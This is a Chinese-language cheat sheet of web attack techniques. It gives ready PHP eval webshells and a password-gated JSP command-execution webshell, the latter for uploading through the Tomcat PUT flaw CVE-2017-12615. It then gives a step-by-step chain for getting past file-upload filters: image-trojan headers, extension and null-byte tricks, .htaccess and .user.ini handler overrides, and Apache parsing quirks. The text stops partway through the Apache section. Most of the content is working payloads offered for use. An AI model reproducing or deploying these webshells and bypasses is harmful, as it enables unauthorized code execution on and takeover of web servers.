实例
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?> 条件竞争,访问到会自己生成Tony.php文件
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
http://IP/5.jsp?pwd=023&i=ls Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)上传后门
upload上传思路:
-
先上传图片马(可以绕过JS前端防护和MIME验证)
-
之后先直接上传尝试(这里可能会检查文件内容是否有php字符串,<? , 和是否有文件头)
-
若有则进行绕过,检查php绕过(短标签绕过):<?=eval($_POST['cmd']);?> <?绕过:<script language='php'>@eval($_POST["cmd"]);</script> 文件头绕过:在文件最前面写入GIF89a
-
若没有则进行filename绕过,尝试特殊解析漏洞:php3,php5,phtml ; 大小写绕过:PHP,pHP; 点绕过:php.; 空格绕过:php空格;::$$DATA绕过:shell.php::$$DATA;双后缀:shell.phphpp;单循环绕过:shell.php. .;假文件名绕过:shell.php/.
-
若没有绕过就可以进行.htaccess绕过和.user.ini绕过,
.htaccess绕过:
GIF89a
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini绕过:
GIF89a auto_prepend_file=shell.jpg
注:用蚁剑或菜刀链接实路径的shell.jpg改为index.php
-
若这些都不能绕过,则进行白名单绕过,使用0x00截断,0x0a截断。注POST提交时%00要用URL解码或者在Hex里面将值改为00
-
若还不行则考虑文件包含漏洞,结合文件包含漏洞进行上传
-
若不行则考虑二次渲染绕过(条件竞争绕过)
-
最后考虑构造数组进行绕过(数组绕过)
-
实际中先看是否有解析漏洞(IIS,Apache,Nginx0),有的话直接绕过就行了
Apache文件上传漏洞:
-
低版本Apache有从右到左开始判断解析,如果右边是不可识别后缀则往左看,如shell.php.123
-
AddHandler导致的解析漏洞
如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php 那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀,可绕过白名单过滤,如:shell.php.jpg
-
Apache换行解析漏洞